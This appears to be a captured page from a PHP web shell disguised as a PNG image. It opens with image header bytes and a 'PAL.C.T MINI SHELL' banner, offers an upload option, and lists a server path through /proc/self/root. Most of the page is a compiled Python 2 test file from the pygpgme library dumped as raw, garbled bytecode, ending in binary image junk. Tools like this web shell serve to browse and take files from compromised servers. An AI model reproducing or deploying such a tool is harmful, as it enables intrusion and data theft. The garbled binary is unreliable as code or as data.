php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/doc/pygpgme-0.1/tests/
upload
files >> //proc/self/root/usr/share/doc/pygpgme-0.1/tests/test_sign_verify.pyc

zJc@sddkZyddklZWn#ej
oddklZnXddklZddkZddkl	Z	de	fdYZ
dZdS(	iN(tBytesIO(tStringIO(tdedent(tGpgHomeTestCasetSignVerifyTestCasecBszeZddddddgZdZdZdZd	Zd
ZdZdZ	d
Z
dZdZRS(skey1.pubskey1.secskey2.pubskey2.secssignonly.pubssignonly.seccCs>ttd}t}ti}|i|d|}|i|id|it|d|i|di	d|i|di
d|i|did|i|dig|i|di
d|i|did|i|dit|i|diti|i|diddS(NsG
            -----BEGIN PGP MESSAGE-----
            Version: GnuPG v1.4.1 (GNU/Linux)

            owGbwMvMwCTotjv0Q0dM6hLG00JJDM7nNx31SM3JyVcIzy/KSeHqsGdmBQvCVAky
            pR9hmGfw0qo3bfpWZwun5euYAsUcVkyZMJlhfvkU6UBjD8WF9RfeND05zC/TK+H+
            EQA=
            =HCW0
            -----END PGP MESSAGE-----
            sHello World
iit(E79A842DA34A1CA383F64A1546BB55F0885C65A4iŲC(RRtgpgmetContexttverifytNonetassertEqualtgetvaluetlentsummarytfprtstatust	notationst	timestampt
exp_timestamptwrong_key_usagetFalsetvaliditytVALIDITY_UNKNOWNtvalidity_reason(tselft	signaturet	plaintexttctxtsigs((s@/usr/lib/python2.6/site-packages/gpgme/tests/test_sign_verify.pyttest_verify_normal!s"		cCs+ttd}td}ti}|i||d}|it|d|i|did|i|di	d|i|di
d|i|dig|i|did|i|di
d|i|dit|i|diti|i|diddS(Ns
            -----BEGIN PGP SIGNATURE-----
            Version: GnuPG v1.4.1 (GNU/Linux)

            iD8DBQBDz7ReRrtV8IhcZaQRAtuUAJwMiJeS5QPohToxA3+vp+z5c3jr1wCdHhGP
            hhSTiguzgSYNwKSuV6SLGOM=
            =dyZS
            -----END PGP SIGNATURE-----
            sHello World
iiRi^C(RRRRRR	R
RR
RRRRRRRRRR(RRtsigned_textRR((s@/usr/lib/python2.6/site-packages/gpgme/tests/test_sign_verify.pyttest_verify_detached=s cCs>ttd}t}ti}|i|d|}|i|id|it|d|i|di	d|i|di
d|i|did|i|dig|i|di
d|i|did|i|dit|i|diti|i|diddS(Nsq
            -----BEGIN PGP SIGNED MESSAGE-----
            Hash: SHA1

            Hello World
            -----BEGIN PGP SIGNATURE-----
            Version: GnuPG v1.4.1 (GNU/Linux)

            iD8DBQFDz7DiRrtV8IhcZaQRAjuYAJ43/NhhNHx+gzGBUqtIK5LpENTCGgCfV3aO
            ZTFlGRyKN26HccsC6ZWcPUQ=
            =kZ2c
            -----END PGP SIGNATURE-----
            sHello World
iiRiC(RRRRRR	R
RRR
RRRRRRRRRR(RRRRR((s@/usr/lib/python2.6/site-packages/gpgme/tests/test_sign_verify.pyttest_verify_clearsignWs"	cCsttd}t}ti}|i|d|}|i|id|it|d|i|di	d|i|di
d|i|did|i|dig|i|di
d|i|did|i|dit|i|diti|i|did|i|di	d|i|di
d|i|did|i|dig|i|di
d|i|did|i|dit|i|diti|i|diddS(	Ns
            -----BEGIN PGP SIGNED MESSAGE-----
            Hash: SHA1

            Hello World
            -----BEGIN PGP SIGNATURE-----
            Version: GnuPG v1.4.1 (GNU/Linux)

            iD8DBQFDz7V9RrtV8IhcZaQRAia/AJ9eC/Q3pssWW9PWckQ3+1kbiIiEVQCfSeFv
            7SlUCFJOs/sfl+EtaOafgQGJAhUDBQFDz7V9LPRrf8l+aw8BAia/EAClI1X/hL38
            6NeOnMD6zXNm7r20Qkpp7PT63PqUa9dU1P+Ha2Uju5C2jBVYouDOpHnEsw3AqItl
            M0y6xiBAbXbdv0K2OdX8/290g/uODQE/oRGu+YtIh8HcY9N1JmzYw6msRO1LD/Oo
            xVqfyJiPx+Ol3juAuVqggBzQQmhQpZ7MfHcZSIWxYtRZNlCGYp2lUVae7fJlrJc8
            DvTkGSkdqBRoDqy0rKcdXRuExXyq081m7bli2sMvImejmEsqyMcbZrkW69v+/BQD
            Tki8tEkxINw1YHhcBDI0KAn3SuynY+i132oU2qJWQF3ZBRqEbD0IxfakPSZyhJKj
            sxk38VHgA+5r/QKRs+4n3z09yFqNIWpnvVVZ2iMfKhHtKd1nNq6tOzHiQrmdSdyK
            dwRaRm4Zt0hWT8v+CXX/RPK5xGL3FCZQs7VTO0ANHR7cIS+v3ChaHO6naQSBQMrW
            7l69hTh009LFIKlYJ+7ZBS2pySkvHmEzJKl4Ko4UfOeD2xDsq5nHhi/AJ7TXtHCo
            TLo8OwJvfiW6Fa9zzu6IkerhQlZrvbLOkmBpuyFo0UEuM/89bquaZ3GoEj3hePsZ
            nD9LtsgsjkFV1jZQ4n/wM3jolo0aA4+ZEBCgw9XJUSZ67m+jvFNBvZtDqWnbQWxe
            FsW3EQWNlQnwkn2lic51Cdp3w7yPH5CKfw==
            =0A7N
            -----END PGP SIGNATURE-----
            sHello World
iiRi}Cit(93C2240D6B8AA10AB28F701D2CF46B7FC97E6B0F(RRRRRR	R
RRR
RRRRRRRRRR(RRRRR((s@/usr/lib/python2.6/site-packages/gpgme/tests/test_sign_verify.pyttest_verify_multiple_sigsvs6	cCslttd}t}ti}|i|d|}|i|id|it|ddS(Ns
            -----BEGIN PGP SIGNED MESSAGE-----
            Hash: SHA1

            Hello World
            -----BEGIN PGP SIGNATURE-----
            -----END PGP SIGNATURE-----
            ti(	RRRRRR	R
RR(RRRRR((s@/usr/lib/python2.6/site-packages/gpgme/tests/test_sign_verify.pyttest_verify_no_signatures	cCsttd}t}ti}y|i|d|WnFtij
o7}|i|dti|i|dti	nX|i
ddS(Ns
            -----BEGIN PGP SIGNED MESSAGE-----
            Hash: SHA1

            Hello World
            -----BEGIN PGP SIGNATURE-----
            Version: GnuPG v1.4.1 (GNU/Linux)

            iNhhNHx+gzGBUqtIK5LpENTCGgCfV3aO
            -----END PGP SIGNATURE-----
            iisgpgme.GpgmeError not raised(RRRRRR	t
GpgmeErrorR
tERR_SOURCE_GPGMEtERR_NO_DATAtfail(RRRRtexc((s@/usr/lib/python2.6/site-packages/gpgme/tests/test_sign_verify.pyttest_verify_bad_signatures
	cCsti}t|_|id}|g|_td}t}|i||ti}|i	t
|d|i	|diti|i	|did|i
dt}|i|d|}|i	|id|i	t
|d|i	|did|i	|did|i	|did|i	|dit|i	|diti|i	|diddS(NRsHello World
ii(RRRtarmortget_keytsignersRtsigntSIG_MODE_NORMALR
RttypeRtseekRR	RR
RRRRR(RRtkeyRRtnew_sigsR((s@/usr/lib/python2.6/site-packages/gpgme/tests/test_sign_verify.pyttest_sign_normals.		
	cCsti}t|_|id}|g|_td}t}|i||ti}|i	t
|d|i	|diti|i	|did|i
dt}|i|d|}|i	|id|i	t
|d|i	|did|i	|did|i	|did|i	|dit|i	|diti|i	|diddS(NRsHello World
ii(RRtTrueR+R,R-RR.R/R
RR0RR1RR	RR
RRRRRR(RRR2RRR3R((s@/usr/lib/python2.6/site-packages/gpgme/tests/test_sign_verify.pyttest_sign_normal_armors.		
	cCszti}t|_|id}|g|_td}t}|i||ti}|i	t
|d|i	|diti|i	|did|i
d|i
d|i||d}|i	t
|d|i	|did|i	|did|i	|did|i	|dit|i	|diti|i	|diddS(NRsHello World
ii(RRR5R+R,R-RR.tSIG_MODE_DETACHR
RR0RR1RR	R
RRRRRR(RRR2RRR3R((s@/usr/lib/python2.6/site-packages/gpgme/tests/test_sign_verify.pyttest_sign_detatch	s,		

cCsti}t|_|id}|g|_td}t}|i||ti}|i	t
|d|i	|diti|i	|did|i
dt}|i|d|}|i	|id|i	t
|d|i	|did|i	|did|i	|did|i	|dit|i	|diti|i	|diddS(NRsHello World
ii(RRR5R+R,R-RR.tSIG_MODE_CLEARR
RR0RR1RR	RR
RRRRRR(RRR2RRR3R((s@/usr/lib/python2.6/site-packages/gpgme/tests/test_sign_verify.pyttest_sign_clearsign$s.		
	(
t__name__t
__module__timport_keysRRR R"R$R*R4R6R8R:(((s@/usr/lib/python2.6/site-packages/gpgme/tests/test_sign_verify.pyRs				5					cCsti}|itS(N(tunittestt
TestLoadertloadTestsFromNameR;(tloader((s@/usr/lib/python2.6/site-packages/gpgme/tests/test_sign_verify.pyt
test_suite@s(R>tioRtImportErrorRttextwrapRRtgpgme.tests.utilRRRB(((s@/usr/lib/python2.6/site-packages/gpgme/tests/test_sign_verify.pyt<module>s%
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`